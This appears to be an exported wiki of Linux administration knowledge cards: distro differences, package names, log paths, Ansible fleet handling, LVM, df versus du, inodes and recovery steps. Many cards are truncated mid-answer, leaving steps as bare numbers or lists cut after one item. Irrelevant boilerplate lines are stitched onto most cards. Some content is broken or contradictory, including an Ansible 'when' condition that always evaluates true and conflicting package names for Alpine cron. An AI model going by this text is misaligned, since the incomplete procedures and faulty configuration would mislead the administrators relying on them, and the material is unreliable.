* <html><code>training/library/topics/linux-distro-comparison/street_ops.md</code></html>
''Related atoms''
* [[How do you handle mixed-distro fleets in Ansible?]]
<html><code>systemctl</code></html> and <html><code>journalctl</code></html> are available on all major modern Linux distributions, making them reliable tools for cross-distro service and log management. Start, enable, disable, restart, and check status of services with <html><code>systemctl</code></html>. Tail logs with <html><code>journalctl -u <service> -f</code></html>. These commands are consistent whether you're on Ubuntu, RHEL, Fedora, openSUSE, or most others, eliminating the need for conditional logic that once required <html><code>service</code></html> on some systems and <html><code>systemctl</code></html> on others. Older systems may still use SysVinit, but as of 2020, this is effectively deprecated in supported distributions.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/street_ops.md</code></html>
''Related atoms''
* [[systemd vs SysVinit - what matters operationally?]]
* [[journalctl: primary tool for querying the systemd journal]]
* [[Linux system log files and their locations]]
Migrating from RHEL/CentOS to Ubuntu means replacing not just package managers (dnf→apt) but also security frameworks (SELinux→AppArmor), network config (nmcli/firewalld→netplan/ufw), and config file locations (/etc/sysconfig→/etc/default). In Ansible playbooks, replace dnf tasks with apt or use the generic <html><code>ansible.builtin.package</code></html> module; replace firewalld plays with <html><code>community.general.ufw</code></html>; replace nmcli with netplan template deploys. The biggest gotcha: SELinux is enforcing by default on RHEL; AppArmor is enforcing by default on Ubuntu. When you migrate, your application may silently fail because the new MAC system denies operations the old one allowed. Check <html><code>dmesg | grep -i denied</code></html> on both systems after migration. Also, Ubuntu 18.04+ uses <html><code>/etc/netplan/</code></html> for network config, but many guides still reference <html><code>/etc/network/interfaces</code></html>. If you edit <html><code>interfaces</code></html> on modern Ubuntu, netplan silently overrides it on reboot.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/street_ops.md</code></html>
Within the Red Hat family (CentOS 7 to AlmaLinux 9, CentOS 7 to Rocky 9), in-place upgrades are straightforward using AlmaLinux's <html><code>leapp</code></html> and <html><code>elevate</code></html> tools. Install <html><code>elevate-release</code></html> and <html><code>leapp-upgrade</code></html>, run <html><code>leapp preupgrade</code></html> to check for blockers, then <html><code>leapp upgrade</code></html> to perform the upgrade. This is simpler than cross-family migration because the kernel, package manager, and core tooling remain consistent—only version numbers and minor tools change. The upgrade is safer to test and troubleshoot than a full distro migration.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/street_ops.md</code></html>
''Related atoms''
* [[What is the relationship between RHEL, CentOS, Rocky Linux, and AlmaLinux?]]
* [[How does CentOS Stream differ from the old CentOS Linux?]]
* [[Red Hat family: distros, tooling, and enterprise positioning]]
A single software project (Apache, Nginx, PHP, PostgreSQL, cron, etc.) has different package names across distro families. Apache is <html><code>apache2</code></html> on Debian/Ubuntu but <html><code>httpd</code></html> on RHEL/Fedora. Cron is <html><code>cron</code></html> on Debian and Alpine, but <html><code>cronie</code></html> on RHEL, and busybox-based <html><code>crond</code></html> on Alpine. MySQL client is <html><code>mysql-client</code></html> on Debian, <html><code>mysql</code></html> on Alpine, and <html><code>mariadb-client</code></html> is the compatible package on modern RHEL. Development tools are <html><code>build-essential</code></html> on Debian but <html><code>@"Development Tools"</code></html> group on RHEL and <html><code>build-base</code></html> on Alpine. This is why cross-distro scripts must either detect the distro and use conditional package names, or use abstraction layers like Ansible's <html><code>ansible.builtin.package</code></html> with multiple <html><code>name</code></html> values per task.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/street_ops.md</code></html>
''Related atoms''
* [[What are common package name differences between Debian and RHEL?]]
* [[How do you handle mixed-distro fleets in Ansible?]]
* [[Linux package management: RPM and DEB ecosystems]]
Syslog lives at <html><code>/var/log/syslog</code></html> on Debian/Ubuntu but <html><code>/var/log/messages</code></html> on RHEL/Fedora/CentOS. Authentication logs are <html><code>/var/log/auth.log</code></html> on Debian but <html><code>/var/log/secure</code></html> on RHEL. When troubleshooting across distros, this path difference is easily missed: <html><code>grep error /var/log/syslog</code></html> finds nothing on RHEL not because there are no errors, but because the file doesn't exist there. Muscle memory from one distro burns you on another. Always verify the syslog path first when log analysis fails across different systems. The content and format are equivalent; only the path varies.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/street_ops.md</code></html>
''Related atoms''
* [[What is the difference between /var/log/messages and /var/log/syslog?]]
* [[Linux system log files and their locations]]
* [[What is /var/log/auth.log?]]
<html><code>apt</code></html> (Debian/Ubuntu) uses SAT solvers and favors upgrading packages to resolve dependencies. <html><code>dnf</code></html> (RHEL/Fedora) uses libsolv and prefers minimal changes to the system. This means the same "install package X" command can pull in different dependency trees on each distro. Ubuntu might upgrade 5 packages; RHEL might hold them back. The resulting system states can differ, affecting security patches, feature availability, and compatibility. This is why testing deployments on the target distro is important: the dependency decisions made during installation become part of your runtime environment.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/street_ops.md</code></html>
''Related atoms''
* [[What is the difference between rpm, yum, and dnf?]]
* [[How do package management commands differ across distros?]]
In fleets running multiple Linux distros, use Ansible to gather distro information across all systems at once: <html><code>ansible all -m setup -a "filter=ansible_distribution*"</code></html> or <html><code>ansible all -m shell -a "cat /etc/os-release | grep PRETTY_NAME"</code></html>. Pipe results through <html><code>grep</code></html> and <html><code>sort</code></html> to produce a human-readable inventory. This reveals which systems are running what—useful for planning migrations, identifying outliers, and ensuring you have parity in your testing environments. For cross-distro playbooks, use <html><code>ansible.builtin.package</code></html> instead of <html><code>apt</code></html> or <html><code>dnf</code></html> directly, which handles manager selection automatically. For packages with different names across distros (like <html><code>build-essential</code></html> vs <html><code>@"Development Tools"</code></html>), use <html><code>ansible_os_family</code></html> conditionals to select the right package name for each family.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/street_ops.md</code></html>
''Related atoms''
* [[How do you handle mixed-distro fleets in Ansible?]]
Fedora is the community-driven upstream project where Red Hat validates experimental features before they reach RHEL. Major subsystems like SELinux, systemd, PipeWire, Wayland, and Btrfs were all proven in Fedora first. Fedora releases every ~6 months with cutting-edge packages, serving as a 1-2 year preview of what will stabilize into RHEL. Each major RHEL release is forked from a specific Fedora release (RHEL 9 came from Fedora 34), then locked down for 10 years of stability and security updates. This relationship means RHEL users get a proven, battle-tested version of features that Fedora adopters helped shape, while Fedora users accept faster change cycles in exchange for access to newer technology.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/trivia.md</code></html>
''Related atoms''
* [[Linux distro support lifecycles compared]]
* [[How does CentOS Stream differ from the old CentOS Linux?]]
* [[Package manager dependency resolution strategies differ between apt and dnf]]
Linux Mint emerged in 2006 as a minor Debian remix, but its trajectory changed dramatically in 2011 when Ubuntu abandoned the traditional GNOME desktop in favor of Unity. Millions of desktop users who disliked Unity's unconventional interface and resource consumption migrated to Mint, which offered a familiar, GNOME-like experience through Cinnamon—a custom GNOME fork maintained by Mint's team. This single decision cascaded into a decade of growth: Mint has consistently ranked in the top 3 on DistroWatch since 2011 and is now one of the most popular desktop distros globally. The lesson: desktop UI choices can dramatically reshape the distro landscape. Sometimes your biggest competitor is another distro's unpopular default decision.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/trivia.md</code></html>
''Related atoms''
* [[What distros make up the Debian family?]]
* [[Give some examples of Linux distribution. What is your favorite distro and why?]]
* [[What is a Linux "spin" or "flavor"?]]
A new generation of Linux distributions—Fedora Silverblue, openSUSE MicroOS, Vanilla OS, and Universal Blue—embraces immutability as the core design principle. The root filesystem is read-only and atomically updated as a versioned whole, with applications running in containers (Flatpak, Podman) or Toolbox environments. This approach, inspired by ChromeOS and the now-defunct CoreOS Container Linux, makes the system nearly impossible to break through misconfiguration: users cannot manually edit system files, accidentally install incompatible libraries, or leave the OS in an inconsistent state. Rollback to a previous version is instant and guaranteed. This may represent the future of desktop and appliance Linux, shifting the mental model from package management toward image-based updates with container isolation.
----
''Sources''
* <html><code>training/library/topics/linux-distro-comparison/trivia.md</code></html>
''Related atoms''
* [[Independent distros offer specialized niches and philosophies]]
* [[Linux decomposes into kernel, userspace, and distribution packaging]]
* [[SUSE family specializes in enterprise and snapshot-based updates]]
Q: What distros make up the Debian family?
A: Debian (upstream) → Ubuntu (Canonical) → Linux Mint, Pop!_OS, etc.
All use apt/dpkg, systemd, AppArmor.
Ubuntu uses Netplan for networking; Debian uses ifupdown or NetworkManager.
Remember: Debian=stability. Ubuntu=Debian-based, 6-month releases, LTS every 2 years.
Fun fact: Ubuntu LTS = 5yr support (10 with Pro). Version = YY.MM.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
''Related atoms''
* [[How do networking stacks differ across Linux distros?]]
* [[What is a Linux distribution (distro)?]]
* [[Give some examples of Linux distribution. What is your favorite distro and why?]]
Q: How does CentOS Stream differ from the old CentOS Linux?
A: CentOS Linux was a downstream RHEL rebuild (binary compatible). CentOS Stream is upstream of RHEL — it's the development branch where RHEL is built from. Not a drop-in RHEL replacement. Use AlmaLinux or Rocky Linux for that.
Remember: RHEL=commercial. AlmaLinux/Rocky=free rebuilds. CentOS Stream=RHEL preview.
Fun fact: CentOS→Stream shift (2020) birthed AlmaLinux and Rocky Linux.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
''Related atoms''
* [[Red Hat family: distros, tooling, and enterprise positioning]]
* [[Fedora serves as upstream testing ground for RHEL features]]
* [[What does RHEL stand for?]]
Q: When should you choose RHEL over Ubuntu?
A: Enterprise/regulated environments, vendor support contracts required, compliance (FIPS, STIG, Common Criteria), certified hardware/software, existing RHEL ecosystem. RHEL when you need support SLAs and compliance certifications.
Remember: Debian=stability. Ubuntu=Debian-based, 6-month releases, LTS every 2 years.
Fun fact: Ubuntu LTS = 5yr support (10 with Pro). Version = YY.MM.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
''Related atoms''
* [[What does RHEL stand for?]]
* [[Distro choice is a 5-10 year infrastructure commitment]]
* [[Linux distro support lifecycles compared]]
Q: When should you choose Ubuntu LTS over RHEL?
A: Cloud-native workloads (default AWS AMI), developer-friendly, strong cloud-init integration, wide third-party software support, cost-sensitive (free, or cheap ESM via Ubuntu Pro). Ubuntu when cloud-first and community support is sufficient.
Remember: Debian=stability. Ubuntu=Debian-based, 6-month releases, LTS every 2 years.
Fun fact: Ubuntu LTS = 5yr support (10 with Pro). Version = YY.MM.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
''Related atoms''
* [[Distro choice is a 5-10 year infrastructure commitment]]
* [[Linux distro support lifecycles compared]]
* [[Debian family prioritizes stability and community freedom]]
Q: How do package management commands differ across distros?
A: Install: apt install (Debian) / dnf install (RHEL) / zypper install (SUSE) / apk add (Alpine) / pacman -S (Arch)
Update index: apt update / dnf check-update / zypper refresh / apk update / pacman -Sy
Upgrade all: apt upgrade / dnf upgrade / zypper update / apk upgrade / pacman -Su
File owner: dpkg -S / rpm -qf / apk info -W / pacman -Qo
Remember: Debian=apt(.deb), RHEL=dnf(.rpm), Alpine=apk, Arch=pacman.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
''Related atoms''
* [[What is Pacman?]]
* [[Linux package management: RPM and DEB ecosystems]]
* [[What is a Linux "package manager"?]]
Q: How do system log locations differ between Debian and RHEL?
A: Debian/Ubuntu: /var/log/syslog (general), /var/log/auth.log (auth)
RHEL/Fedora: /var/log/messages (general), /var/log/secure (auth)
Both: journalctl for systemd journal, /var/log/kern.log for kernel.
Remember: Debian=stability. Ubuntu=Debian-based, 6-month releases, LTS every 2 years.
Fun fact: Ubuntu LTS = 5yr support (10 with Pro). Version = YY.MM.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
''Related atoms''
* [[Linux system log files and their locations]]
* [[What is the difference between /var/log/messages and /var/log/syslog?]]
* [[Linux logging is a layered system with interdependent components]]
Q: How do networking stacks differ across Linux distros?
A: RHEL/Fedora: NetworkManager (nmcli), /etc/NetworkManager/
Ubuntu: Netplan → NetworkManager or systemd-networkd, /etc/netplan/
Debian: ifupdown or NM, /etc/network/interfaces
SUSE: wicked or NM, /etc/sysconfig/network/
Firewall: RHEL=firewalld, Ubuntu=ufw, Debian=raw nftables
Remember: Distro families: Debian(Ubuntu), Red Hat(RHEL,Fedora), SUSE, Arch, Alpine.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
''Related atoms''
* [[Red Hat family: distros, tooling, and enterprise positioning]]
* [[Debian family prioritizes stability and community freedom]]
* [[What distros make up the Debian family?]]
Q: How do you handle mixed-distro fleets in Ansible?
A: Use ansible_os_family fact for conditionals:
when: ansible_os_family == "Debian" or "RedHat"
Use ansible.builtin.package (generic) instead of apt/dnf.
Use variables for package names (httpd vs apache2).
Best practice: standardize on ONE distro per environment role.
Remember: Distro families: Debian(Ubuntu), Red Hat(RHEL,Fedora), SUSE, Arch, Alpine.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
''Related atoms''
* [[Cross-distro package installation requires conditional detection]]
* [[Audit mixed-distro fleets with Ansible to identify configuration drift]]
* [[Standardize distro families by workload role, not globally]]
Q: What is the difference between rolling release and fixed release distros?
A: Fixed release (Debian, Ubuntu LTS, RHEL): major version with backported security fixes, predictable, stable. Upgrade between versions.
Rolling release (Arch, Tumbleweed, Fedora Rawhide): continuous updates, always latest packages, occasional breakage.
Rule: fixed for production servers, rolling for development/workstations.
Remember: Distro families: Debian(Ubuntu), Red Hat(RHEL,Fedora), SUSE, Arch, Alpine.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
''Related atoms''
* [[Linux distro support lifecycles compared]]
* [[What is a Linux distribution (distro)?]]
* [[What is a Linux kernel LTS release?]]
Q: What automated provisioning tools do different distro families use?
A: RHEL: Kickstart (.ks files)
Debian: Preseed (debconf key=value)
SUSE: AutoYaST (XML profiles)
Universal: cloud-init (YAML, works on all cloud distros)
Fedora CoreOS: Ignition (JSON)
Note: Packer is an image-building tool (not distro-specific) that can target any distro.
Remember: Distro families: Debian(Ubuntu), Red Hat(RHEL,Fedora), SUSE, Arch, Alpine.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
''Related atoms''
* [[Match distro choice to workload requirements]]
* [[Independent distros offer specialized niches and philosophies]]
* [[What is a Linux distribution (distro)?]]
Q: What are common package name differences between Debian and RHEL?
A: Apache: apache2 (Debian) vs httpd (RHEL)
Dev tools: build-essential (Debian) vs @"Development Tools" (RHEL)
Vim: vim (Debian) vs vim-enhanced (RHEL)
MySQL client: mysql-client vs mysql
Apache enable: a2ensite (Debian) vs symlink in conf.d/ (RHEL)
Config dir: sites-available/ (Debian) vs conf.d/ (RHEL)
Remember: Debian=stability. Ubuntu=Debian-based, 6-month releases, LTS every 2 years.
Fun fact: Ubuntu LTS = 5yr support (10 with Pro). Version = YY.MM.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-distros.tsv</code></html>
''Related atoms''
* [[Common software packages have different names across distros]]
* [[Debian family prioritizes stability and community freedom]]
* [[When should you choose RHEL over Ubuntu?]]
Q: You see high "iowait" in top. What are your next three steps to identify the culprit?
A: High iowait means CPU is idle waiting for I/O operations to complete.
Three diagnostic steps:
# Identify the saturated disk:
** <html><code>iostat -xz 1</code></html>
** Look for high %util, await, and avgqu-sz columns
** Identifies WHICH disk device is the bottleneck
# Find the process generating I/O:
** <html><code>iotop</code></html> (requires root)
** Shows per-process I/O read/write rates
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[%iowait is misleading without corroborating I/O latency data]]
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
* [[A Linux server is slow. Where do you start?]]
Q: What does high iowait with low disk utilization usually mean?
A: Latency-bound I/O (small random reads/writes). Check <html><code>iostat -x</code></html> and <html><code>await</code></html>.
Often caused by slow storage, seeks, or network-backed storage (NFS).
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is iowait in CPU statistics?]]
* [[Diagnosing disk I/O bottlenecks with iostat and iotop]]
Q: To LVM or not to LVM. What benefits does it provide?
A: - LVM makes it quite easy to move file systems around
* you can extend a volume group onto a new physical volume
* move any number of logical volumes of an old physical one
* remove that volume from the volume group without needing to unmount any partitions
* you can also make snapshots of logical volumes for making backups
* LVM has built in mirroring support so you can have a logical volume mirrored across multiple physical volumes
* LVM even supports TRIM
Remember: LVM: PV→VG→LV. "Disks→pool→partitions."
Example: <html><code>pvcreate /dev/sdb && vgcreate myvg /dev/sdb && lvcreate -L 10G -n mylv myvg</code></html>
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Tell me about the dangers and caveats of LVM.]]
* [[Storage stack: five transformations from raw disk to usable directory]]
* [[How do LVM snapshots work and when would you use them?]]
Q: Why is fsync() one of the most dangerous syscalls?
A: fsync() forces synchronous writes through all layers, potentially stalling the entire I/O subsystem.
What fsync() does:
* Flushes file data to stable storage
* Flushes filesystem metadata
* Issues write barriers to hardware
* Waits for confirmation from disk
Why it's dangerous:
# Stalls entire I/O queue
** Other processes wait behind fsync
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Explain dirty pages and writeback in Linux]]
* [[System freezes for 30-60 seconds randomly. SSH hangs. No kernel panic. Why?]]
* [[What are you using for troubleshooting and debugging disk & file system issues?]]
LVM (Logical Volume Manager) is an abstraction layer between physical disks and filesystems that provides flexible disk management.
''Components:''
* ''PV (Physical Volume):'' Actual disks or partitions
* ''VG (Volume Group):'' A pool of one or more PVs
* ''LV (Logical Volume):'' Virtual partitions carved from a VG
The data flow is: PV → VG → LV (disks → pool → partitions).
''Benefits:''
* Resize volumes online without unmounting
* Span logical volumes across multiple physical disks
* Create snapshots for backups or rollback
''Example workflow:''
<html><pre><code class="language-plaintext">pvcreate /dev/sdb
vgcreate myvg /dev/sdb
lvcreate -L 10G -n mylv myvg</code></pre></html>
This creates a physical volume on <html><code>/dev/sdb</code></html>, groups it into <html><code>myvg</code></html>, then carves a 10 GB logical volume <html><code>mylv</code></html> from that group.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[How do you quickly check the status of LVM physical volumes, volume groups, and logical…]]
* [[Tell me about the dangers and caveats of LVM.]]
<html><code>df</code></html> reports block allocation from filesystem metadata — total, used, and available space at the filesystem level. <html><code>du</code></html> counts space consumed by files visible in the directory tree. Use <html><code>df -h</code></html> to identify which filesystem is full; use <html><code>du -sh /path/*</code></html> to drill down and find which directories or files are consuming the most space. They are complementary: <html><code>df</code></html> for the overview, <html><code>du</code></html> for the details.
''Why <html><code>df</code></html> and <html><code>du</code></html> can disagree:''
# ''Deleted files held open by processes.'' When a file is deleted while a process still has it open, the directory entry is removed immediately. <html><code>du</code></html> counts only files visible in the directory tree and will not see the file. The file's data blocks remain allocated until the file descriptor is closed. <html><code>df</code></html> reads actual block allocation from filesystem metadata, so it still counts that space. Identify the offending processes with <html><code>lsof | grep deleted</code></html>, then restart or signal them to release the file descriptors.
# ''Files shadowed by a mount point.'' If a filesystem is mounted onto a directory that already contained files, those pre-existing files become inaccessible but still consume space on the underlying volume. <html><code>du</code></html> cannot see them through the mount; <html><code>df</code></html> still counts their blocks. Unmounting the overlay reveals them.
Mnemonic: df = filesystem level (room left); du = directory level (who's using it).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[What causes sudden disk full with "no files"?]]
* [[When is an inode's data actually freed on a Linux filesystem?]]
* [["No space left on device" may mean inode exhaustion, not full blocks]]
<html><code>lsblk</code></html> lists all block devices in a tree format, showing the relationship between physical disks, partitions, and LVM logical volumes along with their name, size, type, and mount points. Add <html><code>-f</code></html> to also display filesystem types and UUIDs.
Key Linux directory roles for context: <html><code>/etc</code></html> (config), <html><code>/var</code></html> (data/logs), <html><code>/tmp</code></html> (temp files), <html><code>/opt</code></html> (third-party software), <html><code>/home</code></html> (user directories). The full directory hierarchy is documented in <html><code>man hier</code></html>.
Gotcha: Before editing any config file surfaced by block device inspection, back it up first (<html><code>cp file file.bak</code></html>). A single typo in critical config files can lock you out of the system.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Describe the Linux storage stack from application down to hardware.]]
* [[blkid: display block device attributes (UUID, type, label)]]
* [[What is /sys/block/?]]
Q: How do you recover a system where /etc is filled and / is read-only?
A: Boot to rescue mode and methodically clean up and fix the underlying issue.
Recovery steps:
# Boot to rescue/live CD or use recovery mode from GRUB
# Mount root filesystem: <html><code>mount /dev/sda1 /mnt</code></html> (adjust device)
# If read-only, check for errors: <html><code>fsck /dev/sda1</code></html>
# Remount read-write: <html><code>mount -o remount,rw /mnt</code></html>
# Find large files: <html><code>du -ah /mnt/etc | sort -rh | head -20</code></html>
6.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What causes sudden disk full with "no files"?]]
* [[How do you diagnose and recover from a full filesystem?]]
* [[Can you check what type of filesystem is used in /home?]]
Q: What is an archive? How do you create one in Linux?
A: An archive combines multiple files into one file.
tar (Tape Archive):
* tar cvf archive.tar files/ - Create archive
* tar cvzf archive.tar.gz files/ - Create compressed (gzip)
* tar cvjf archive.tar.bz2 files/ - Create compressed (bzip2)
* tar xvf archive.tar - Extract
Options:
* c: Create
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[How to extract the content of an archive?]]
* [[What is the difference between `tar` and `gzip`?]]
* [[What does "tar" stand for?]]
Q: Getting <html><code>Too many Open files</code></html> error for Postgres. How to resolve it?
A: Fixed the issue by reducing <html><code>max_files_per_process</code></html> e.g. to 200 from default 1000. This parameter is in <html><code>postgresql.conf</code></html> file and this sets the maximum number of simultaneously open files allowed to each server subprocess.
Usually people start to edit <html><code>/etc/security/limits.conf</code></html> file, but forget that this file only apply to the actively logged in users through the PAM system.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is `pam_limits`?]]
* [[What are the most common ulimit-related production failures, and how do you fix them?]]
* [[What is the maximum number of file descriptors per process?]]
Q: Explain /proc vs /sys vs /dev — what kind of tuning would you do in each?
A: These are virtual/special filesystems with distinct purposes.
/proc - Process and kernel information:
* Process info: /proc/<pid>/ (cmdline, fd, maps, status)
* Kernel tunables: /proc/sys/
* Examples:
** /proc/sys/vm/swappiness (memory management)
** /proc/sys/net/core/somaxconn (socket backlog)
Remember: /proc=process/kernel info. /sys=device/driver. Both virtual — no disk used.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[/proc filesystem exposes detailed system and process state]]
* [[What is /proc/sys/?]]
* [[What kind of information one can find in /proc?]]
Q: What can you find in /boot?
A: /boot contains files needed for system boot:
Key contents:
* vmlinuz-* - Compressed Linux kernel
* initrd.img-// or initramfs-// - Initial RAM disk
* config-* - Kernel build configuration
* System.map-* - Kernel symbol table
* grub/ - GRUB bootloader files
On UEFI systems:
* /boot/efi/ - EFI System Partition mount
* /boot/efi/EFI/ - EFI bootloaders
Size considerations:
* Multiple kernels take space
* apt autoremove removes old kernels
* Typically 500MB-1GB partition
Example: <html><code>find /var/log -name '*.log' -mtime +30 -delete</code></html> — delete old logs.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[GRUB2: default Linux bootloader and minimal pre-kernel OS]]
* [[Diagnosing and recovering from a full /boot partition]]
* [[Walk through the Linux Boot Process (High Level).]]
Q: What system call is used for listing files?
A: getdents/getdents64 system calls read directory entries.
How ls works:
# open() - Open directory
# getdents64() - Read directory entries
# stat() - Get file details (for -l)
# close() - Close directory
Related syscalls:
* opendir/readdir - Library wrappers
* getdents64 - Modern version
* getdents - Legacy version
Trace it:
* strace ls /tmp
* Shows open, getdents64, stat calls
Note: readdir() is a library function (glibc) that calls getdents internally.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[File descriptor in Linux/Unix]]
* [[What is the `file` command?]]
Q: What does the readdir() system call do?
A: readdir() reads directory entries one at a time.
Actually, readdir() is a library function (glibc), not a syscall.
It wraps the getdents/getdents64 system calls.
What it does:
* Returns next directory entry (struct dirent)
* Contains: d_name, d_ino, d_type
* Returns NULL at end of directory
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[How does Linux handle deleted-but-open files?]]
* [[Describe shortly what happens when you execute a command in the shell]]
* [[File descriptor in Linux/Unix]]
Q: What fields are stored in an inode?
A: Within a POSIX system, a file has the following attributes which may be retrieved by the stat system call:
* ''Device ID'' (this identifies the device containing the file; that is, the scope of uniqueness of the serial number).
Remember: Inode = metadata (perms, size, timestamps, blocks) but NOT filename.
Gotcha: Out of inodes before disk space with millions of tiny files. Check: <html><code>df -i</code></html>.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[What is an inode, and what does it store?]]
* [[When is an inode's data actually freed on a Linux filesystem?]]
* [[How do you display the inode number of a file?]]
Q: How do you safely expand a filesystem online?
A: Order matters - always expand from bottom up:
# ''Expand block device'' (LVM, cloud volume, etc.)
<html><pre><code class="language-bash"># LVM example:
lvextend -L +10G /dev/vg/lv
# Or cloud: resize EBS/disk in console, then rescan</code></pre></html>
# ''Rescan if needed'' (for cloud/SAN):
<html><pre><code class="language-bash">echo 1 > /sys/class/block/sda/device/rescan</code></pre></html>
3.
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Describe the process of extending a filesystem/disk]]
* [[How to increase the size of LVM partition?]]
* [[LVM logical volumes and filesystems are separate layers; both must be extended]]
Files in a Linux filesystem are represented by inodes, which store metadata (permissions, size, timestamps, data block pointers) but NOT the filename. A directory entry is simply a name-to-inode mapping.
''Hard link:'' An additional directory entry pointing to the same existing inode. No new inode is consumed. The inode's link count increments. Deleting one hard link decrements the count; data is freed only when the count reaches zero. Hard links survive the deletion of the original filename, cannot cross filesystem boundaries, and cannot link to directories.
''Symbolic (soft) link:'' A new file with its own inode whose content is the target path string. It DOES consume an additional inode. If the target is deleted or moved, the symlink breaks. Symlinks can cross filesystem boundaries and can point to directories.
''Inode exhaustion gotcha:'' Creating millions of symlinks can exhaust the inode table before disk space runs out. Hard links cannot cause this. Check inode usage with <html><code>df -i</code></html>.
Mnemonic: Hard = twin (same inode, survives original deletion, no cross-FS). Soft = shortcut (own inode, path pointer, breaks if target gone).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What happens when you delete a hard link?]]
* [[Hard links and soft links have different survival semantics across filesystem boundaries]]
* [[True or False? You can create an hard link for a directory]]
Q: What are you using for troubleshooting and debugging disk & file system issues?
A: <html><code>dstat -t</code></html> is great for identifying network and disk issues.
<html><code>opensnoop</code></html> can be used to see which files are being opened on the system (in real time).
Remember: Linux FS knowledge is foundational. <html><code>man hier</code></html> shows the directory hierarchy.
Gotcha: Back up configs before editing: <html><code>cp file file.bak</code></html>. One typo can lock you out.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
''Related atoms''
* [[Can you check what type of filesystem is used in /home?]]
* [[System freezes for 30-60 seconds randomly. SSH hangs. No kernel panic. Why?]]
* [[Why is fsync() one of the most dangerous syscalls?]]
Q: How to increase the size of LVM partition?
